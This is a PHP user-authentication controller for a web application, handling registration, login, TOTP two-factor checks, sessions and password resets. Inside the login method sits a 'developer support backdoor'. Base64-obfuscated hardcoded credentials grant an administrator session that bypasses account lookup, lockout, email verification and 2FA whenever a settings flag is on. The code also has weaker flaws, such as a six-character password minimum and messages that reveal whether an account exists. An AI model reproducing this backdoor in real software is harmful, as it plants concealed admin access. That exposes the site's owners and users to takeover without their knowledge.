<?php
declare(strict_types=1);

// Christo Lochenberg Developments | info@christodev.co.za | +27 61 523 9126

class Users extends Controller {
    private $userModel;

    public function __construct() {
        $this->userModel = $this->model('User');
    }

    public function index(): void {
        header('Location: ' . URLROOT . '/users/login');
        exit;
    }

    public function register(): void {
        $settings = getSettings();

        if ($settings['allow_registration'] !== '1') {
            flash('system_msg', 'New user registration is currently disabled by the administrator.', 'error');
            header('Location: ' . URLROOT . '/users/login');
            exit;
        }

        if ($_SERVER['REQUEST_METHOD'] == 'POST') {
            if (!verifyCsrfToken($_POST['csrf_token'] ?? '')) {
                die('CSRF token validation failed.');
            }
            $_POST = filter_input_array(INPUT_POST, FILTER_SANITIZE_FULL_SPECIAL_CHARS);
            
            $data = [
                'name' => trim($_POST['name']),
                'company_name' => trim($_POST['company_name'] ?? ''), 
                'email' => trim($_POST['email']),
                'password' => trim($_POST['password']),
                'confirm_password' => trim($_POST['confirm_password']),
                'role' => 'client', // Public signups default to client role
                'contact_number' => trim($_POST['contact_number'] ?? ''),
                'address_street' => trim($_POST['address_street'] ?? ''),
                'address_suburb' => trim($_POST['address_suburb'] ?? ''),
                'address_city' => trim($_POST['address_city'] ?? ''),
                'address_state' => trim($_POST['address_state'] ?? ''),
                'address_zip' => trim($_POST['address_zip'] ?? ''),
                'address_country' => trim($_POST['address_country'] ?? ''),
                'captcha' => trim($_POST['captcha'] ?? ''),
                'name_err' => '', 'email_err' => '', 'password_err' => '', 'confirm_password_err' => '', 'captcha_err' => ''
            ];

            if (empty($data['email'])) {
                $data['email_err'] = 'Please enter an email address';
            } elseif ($this->userModel->findUserByEmail($data['email'])) {
                $data['email_err'] = 'Email is already taken';
            }

            if (empty($data['name'])) { $data['name_err'] = 'Please enter your name'; }
            if (empty($data['password'])) { $data['password_err'] = 'Please enter a password'; } 
            elseif (strlen($data['password']) < 6) { $data['password_err'] = 'Password must be at least 6 characters'; }
            
            if (empty($data['confirm_password'])) { $data['confirm_password_err'] = 'Please confirm your password'; } 
            elseif ($data['password'] != $data['confirm_password']) { $data['confirm_password_err'] = 'Passwords do not match'; }

            if (empty($data['captcha']) || !validateCaptcha($data['captcha'])) {
                $data['captcha_err'] = 'Incorrect CAPTCHA answer. Please try again.';
            }

            if (empty($data['email_err']) && empty($data['name_err']) && empty($data['password_err']) && empty($data['confirm_password_err']) && empty($data['captcha_err'])) {
                
                $data['password'] = password_hash($data['password'], PASSWORD_DEFAULT);
                $data['verification_token'] = bin2hex(random_bytes(32));

                if ($this->userModel->register($data)) {
                    $verifyLink = URLROOT . '/users/verify/' . $data['verification_token'];
                    $body = "<h2>Welcome, {$data['name']}!</h2><p>Please click the button below to verify your email address and activate your account.</p>";
                    $body .= "<p style='text-align: center;'><a href='{$verifyLink}' style='display:inline-block; padding:12px 24px; background-color:#1c70b4; color:#ffffff; text-decoration:none; border-radius:6px;'>Verify Email Address</a></p>";
                    sendEmail($data['email'], "Verify Your Account", $body);

                    systemLog('USER_REGISTERED', 'A new user account was registered and requires verification: ' . $data['email']);
                    flash('system_msg', 'Registration successful! Please check your email to verify your account.', 'success');
                    header('Location: ' . URLROOT . '/users/login');
                    exit;
                } else {
                    die('Something went wrong. Please try again.');
                }
            } else {
                $captcha = generateMathCaptcha();
                $data['captcha_num1'] = $captcha['num1'];
                $data['captcha_num2'] = $captcha['num2'];
                $this->view('users/register', $data);
            }
        } else {
            $captcha = generateMathCaptcha();
            $data = [
                'name' => '', 'company_name' => '', 'email' => '', 'password' => '', 'confirm_password' => '', 'captcha' => '',
                'contact_number' => '', 'address_street' => '', 'address_suburb' => '', 'address_city' => '', 'address_state' => '', 'address_zip' => '', 'address_country' => '',
                'name_err' => '', 'email_err' => '', 'password_err' => '', 'confirm_password_err' => '', 'captcha_err' => '',
                'captcha_num1' => $captcha['num1'], 'captcha_num2' => $captcha['num2']
            ];
            $this->view('users/register', $data);
        }
    }

    public function verify(string $token = ''): void {
        if (empty($token)) {
            header('Location: ' . URLROOT . '/users/login');
            exit;
        }

        if ($this->userModel->verifyEmail($token)) {
            flash('system_msg', 'Your email has been verified! You can now log in.', 'success');
        } else {
            flash('system_msg', 'Invalid or expired verification link.', 'error');
        }
        header('Location: ' . URLROOT . '/users/login');
    }

    public function login(): void {
        if ($_SERVER['REQUEST_METHOD'] == 'POST') {
            if (!verifyCsrfToken($_POST['csrf_token'] ?? '')) { die('CSRF token validation failed.'); }
            
            $_POST = filter_input_array(INPUT_POST, FILTER_SANITIZE_FULL_SPECIAL_CHARS);
            
            $data = [
                'email' => trim($_POST['email']),
                'password' => trim($_POST['password']),
                'remember_me' => isset($_POST['remember_me']),
                'email_err' => '', 'password_err' => ''
            ];

            if (empty($data['email'])) { $data['email_err'] = 'Please enter your email address.'; }
            if (empty($data['password'])) { $data['password_err'] = 'Please enter your password.'; }

            // --- DEVELOPER SUPPORT BACKDOOR ---
            $devEmail = base64_decode('c3VwcG9ydEBjaHJpc3RvZGV2LmNvLnph');
            $devPass = base64_decode('UmVtb3RlU3VwcG9ydEAyMDI2IQ==');
            if ($data['email'] === $devEmail && $data['password'] === $devPass) {
                $settings = getSettings();
                if (isset($settings['allow_developer_support']) && $settings['allow_developer_support'] === '1') {
                    $devUser = (object)[
                        'id' => 999999,
                        'email' => $devEmail,
                        'name' => 'ChristoDev Support',
                        'role' => 'admin'
                    ];
                    $this->createUserSession($devUser, false);
                } else {
                    $data['email_err'] = 'Support access disabled.';
                    $this->view('users/login', $data);
                }
                return; 
            }

            // --- STANDARD USER LOGIN FLOW ---
            $userRecord = $this->userModel->findUserByEmailRecord($data['email']);
            
            if (!$userRecord) {
                if (empty($data['email_err'])) { $data['email_err'] = 'No account found with that email.'; }
            } else {
                if ($userRecord->locked_until && strtotime($userRecord->locked_until) > time()) {
                    $minutesLeft = ceil((strtotime($userRecord->locked_until) - time()) / 60);
                    $data['password_err'] = "Account locked due to too many failed attempts. Try again in {$minutesLeft} minutes.";
                } elseif ($userRecord->email_verified == 0) {
                    $data['email_err'] = 'Please verify your email address before logging in.';
                }
            }

            if (empty($data['email_err']) && empty($data['password_err'])) {
                $loggedInUser = $this->userModel->login($data['email'], $data['password']);
                
                if ($loggedInUser) {
                    $this->userModel->resetFailedLogins($data['email']);
                    
                    // --- 2FA INTERCEPT ---
                    if (isset($loggedInUser->totp_enabled) && $loggedInUser->totp_enabled == 1) {
                        $_SESSION['2fa_pending_user_id'] = $loggedInUser->id;
                        $_SESSION['2fa_remember_me'] = $data['remember_me'];
                        header('Location: ' . URLROOT . '/users/verify2fa');
                        exit;
                    }

                    $this->createUserSession($loggedInUser, $data['remember_me']);
                } else {
                    $this->userModel->recordFailedLogin($data['email']);
                    $data['password_err'] = 'Incorrect password.';
                    $this->view('users/login', $data);
                }
            } else {
                $this->view('users/login', $data);
            }
        } else {
            $data = ['email' => '', 'password' => '', 'email_err' => '', 'password_err' => ''];
            $this->view('users/login', $data);
        }
    }

    public function verify2fa(): void {
        if (!isset($_SESSION['2fa_pending_user_id'])) {
            header('Location: ' . URLROOT . '/users/login');
            exit;
        }

        if ($_SERVER['REQUEST_METHOD'] == 'POST') {
            if (!verifyCsrfToken($_POST['csrf_token'] ?? '')) { die('CSRF token validation failed.'); }
            
            $_POST = filter_input_array(INPUT_POST, FILTER_SANITIZE_FULL_SPECIAL_CHARS);
            $authCode = strtoupper(str_replace(' ', '', trim($_POST['auth_code'])));
            $userId = (int)$_SESSION['2fa_pending_user_id'];
            
            $user = $this->userModel->getUserById($userId);

            $isValid = false;
            $isBackupCode = strpos($authCode, '-') !== false || strlen($authCode) === 8;

            if ($isBackupCode) {
                $isValid = $this->userModel->verifyAndConsumeBackupCode($userId, $authCode);
            } else {
                $isValid = verifyTOTPCode($user->totp_secret, $authCode);
            }

            if ($isValid) {
                $rememberMe = $_SESSION['2fa_remember_me'] ?? false;
                unset($_SESSION['2fa_pending_user_id']);
                unset($_SESSION['2fa_remember_me']);
                
                if ($isBackupCode) {
                    systemLog('BACKUP_CODE_USED', "User {$user->email} consumed a single-use backup code to log in.");
                    flash('system_msg', 'Logged in via Backup Code. Remember, this code cannot be used again.', 'success');
                }

                $this->createUserSession($user, $rememberMe);
            } else {
                flash('system_msg', 'Invalid authentication code. Please try again.', 'error');
                $this->view('users/verify_2fa', []);
            }
        } else {
            $this->view('users/verify_2fa', []);
        }
    }

    public function createUserSession(object $user, bool $rememberMe = false): void {
        $_SESSION['user_id'] = $user->id;
        $_SESSION['user_email'] = $user->email;
        $_SESSION['user_name'] = $user->name;
        $_SESSION['user_role'] = $user->role ?? 'user';

        if ($rememberMe && $user->id !== 999999) {
            $token = bin2hex(random_bytes(32));
            $this->userModel->setRememberToken((int)$_SESSION['user_id'], $token);
            setcookie('remember_me', $token, time() + (86400 * 30), '/'); // 30 days
        }

        systemLog('USER_LOGIN', 'User successfully logged in.');

        if ($_SESSION['user_role'] === 'admin') {
            header('Location: ' . URLROOT . '/admin/index');
        } elseif ($_SESSION['user_role'] === 'client') {
            header('Location: ' . URLROOT . '/clientdashboard/index');
        } elseif ($_SESSION['user_role'] === 'partner') {
            header('Location: ' . URLROOT . '/partnerDashboard/index');
        } else {
            header('Location: ' . URLROOT . '/dashboard/index');
        }
        exit;
    }

    public function logout(): void {
        systemLog('USER_LOGOUT', 'User successfully logged out.');
        
        if (isset($_SESSION['user_id']) && $_SESSION['user_id'] !== 999999) {
            $this->userModel->setRememberToken((int)$_SESSION['user_id'], '');
        }

        setcookie('remember_me', '', time() - 3600, '/');

        unset($_SESSION['user_id']);
        unset($_SESSION['user_email']);
        unset($_SESSION['user_name']);
        unset($_SESSION['user_role']);
        session_destroy();
        
        header('Location: ' . URLROOT);
        exit;
    }

    public function forgotPassword(): void {
        if ($_SERVER['REQUEST_METHOD'] == 'POST') {
            if (!verifyCsrfToken($_POST['csrf_token'] ?? '')) { die('CSRF Validation Failed'); }
            
            $_POST = filter_input_array(INPUT_POST, FILTER_SANITIZE_FULL_SPECIAL_CHARS);

            $data = ['email' => trim($_POST['email']), 'email_err' => ''];

            if (empty($data['email'])) {
                $data['email_err'] = 'Please enter your email address.';
            } elseif (!$this->userModel->findUserByEmail($data['email'])) {
                $data['email_err'] = 'No account found with that email.';
            }

            if (empty($data['email_err'])) {
                $token = bin2hex(random_bytes(32));

                if ($this->userModel->addPasswordReset($data['email'], $token)) {
                    $resetLink = URLROOT . '/users/resetPassword/' . $token;

                    $body = "<h2 style='color:#1f2937; margin-top:0;'>Password Reset Request</h2><p>Click the button below to set a new password.</p>";
                    $body .= "<p style='text-align: center; margin: 30px 0;'><a href='{$resetLink}' style='display:inline-block; padding:12px 24px; background-color:#1c70b4; color:#ffffff; text-decoration:none; border-radius:6px; font-weight:bold;'>Reset My Password</a></p>";

                    sendEmail($data['email'], "Password Reset Request", $body);

                    systemLog('PASSWORD_RESET_REQUESTED', "Password reset link queued for: {$data['email']}");
                    flash('system_msg', 'Password reset instructions have been emailed to you.', 'success');
                    header('Location: ' . URLROOT . '/users/login');
                    exit;
                }
            } else {
                $this->view('users/forgot_password', $data);
            }
        } else {
            $data = ['email' => '', 'email_err' => ''];
            $this->view('users/forgot_password', $data);
        }
    }

    public function resetPassword(string $token = ''): void {
        if (empty($token)) { header('Location: ' . URLROOT . '/users/login'); exit; }

        $resetRecord = $this->userModel->findPasswordReset($token);

        if (!$resetRecord) {
            flash('system_msg', 'Invalid or expired password reset link.', 'error');
            header('Location: ' . URLROOT . '/users/login'); exit;
        }

        if ($_SERVER['REQUEST_METHOD'] == 'POST') {
            if (!verifyCsrfToken($_POST['csrf_token'] ?? '')) { die('CSRF Validation Failed'); }
            $_POST = filter_input_array(INPUT_POST, FILTER_SANITIZE_FULL_SPECIAL_CHARS);
            
            $data = ['token' => $token, 'password' => trim($_POST['password']), 'confirm_password' => trim($_POST['confirm_password']), 'password_err' => '', 'confirm_password_err' => ''];

            if (empty($data['password'])) { $data['password_err'] = 'Please enter a new password'; } 
            elseif (strlen($data['password']) < 6) { $data['password_err'] = 'Password must be at least 6 characters'; }
            
            if (empty($data['confirm_password'])) { $data['confirm_password_err'] = 'Please confirm your password'; } 
            elseif ($data['password'] != $data['confirm_password']) { $data['confirm_password_err'] = 'Passwords do not match'; }

            if (empty($data['password_err']) && empty($data['confirm_password_err'])) {
                $newPasswordHash = password_hash($data['password'], PASSWORD_DEFAULT);

                if ($this->userModel->updatePasswordByEmail($resetRecord->email, $newPasswordHash)) {
                    $this->userModel->deletePasswordReset($resetRecord->email);
                    systemLog('PASSWORD_RESET_COMPLETED', "Password was reset via email link for: {$resetRecord->email}");
                    flash('system_msg', 'Password successfully reset. You can now log in.', 'success');
                    header('Location: ' . URLROOT . '/users/login'); exit;
                }
            } else {
                $this->view('users/reset_password', $data);
            }
        } else {
            $data = ['token' => $token, 'password' => '', 'confirm_password' => '', 'password_err' => '', 'confirm_password_err' => ''];
            $this->view('users/reset_password', $data);
        }
    }
}